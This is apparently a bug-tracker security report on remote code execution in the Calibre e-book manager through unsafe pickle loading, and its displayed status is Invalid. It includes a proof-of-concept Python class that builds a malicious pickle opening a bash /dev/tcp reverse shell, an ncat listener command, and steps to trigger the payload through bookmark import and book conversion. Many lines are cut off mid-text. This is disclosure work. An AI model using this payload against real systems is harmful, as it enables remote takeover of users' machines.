Code Execution in Calibre as a resut of the use of Pickle
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
calibre |
Invalid
|
Undecided
|
Unassigned |
Bug Description
A malicious pickle file can be used to trigger remote code execution in
Calibre E-book Manager.
# Affected Versions
This vulnerability affects all operating systems Calibre supports and is
present in the latest version (3.18) of the application.
# Description
Calibre E-book Manager uses the Python `pickle` module for serialization in
multiple places. This is a dangerous pattern because the deserialization of
malicious pickle data can result in the execution of arbitrary Python code.
There are two specific functionality in Calibre where the use of pickle can be
leveraged by an attacker to obtain code execution by social engineering a
target.
Firstly, Calibre allows users to export and import bookmark data from a
specific ebook. `src/calibre/
imports a previously exported file containing bookmark information. This file
data is directly passed into `cPickle.load`.
```
206 files = choose_files(self, 'export-
207 filters=[(_('Saved bookmarks'), ['pickle'])], all_files=False, select_
208 if not files:
209 return
210 filename = files[0]
211
212 imported = None
213 with open(filename, 'rb') as fileobj:
214 imported = cPickle.
```
Secondly, Calibre stores metadata in `metadata.db`, a SQLite database file.
`src/calibre/
one of the tables of the database. This code can be triggered by attempting a
file format conversion of an ebook.
```
1694 def conversion_
1695 for (data,) in self.conn.
1696 if data:
1697 return cPickle.
```
# Proof of Concept
For the proof of concept, we will use a malicious pickle exploited by the below
`poc.py`.
```python
import cPickle
import os
import base64
import pickletools
class Exploit(object):
def __reduce__(self):
return (os.system, (("bash -i >& /dev/tcp/
with open("exploit.
cPickle.
```
The exploit will make a reverse shell to a listener on 127.0.0.1:8000, so we
set that up using `ncat`.
```
$ ncat -nlvp 8000
Ncat: Version 7.60 ( https:/
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 125E F683 5DA6 153A 6E26 E957 0C92 4706 2596 347C
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
```
For the first vulnerability, we open an ebook and navigate to the "Bookmarks"
icon on the left of the screen and click the "Show/hide bookmarks" menu item.
We then click the "Import" button on the bookmarks pane and select the
generated `exploit.pickle` file. This should trigger a reverse shell on our
listener.
For the second vulnerability, we click on the arrow on the right of the
"Calibre Library" icon and click the "Export/import all calibre data. We then
click "Import previously exported data" and select the folder containing the
`part-0001.
the contents of `exploit.pickle` stored in the `data` column of the
`conversion_
ebook in the library and select
"Convert books->Convert individually" This should trigger a reverse shell on
our listener.
CVE References
information type: | Public → Public Security |
While this report directly addresses the two areas where a user of Calibre can be potentially tricked into directly triggering a malicious pickle, there is a very dangerous pattern of using pickle throughout the entire codebase. This should be modified in favour of safer serialisation methods like JSON.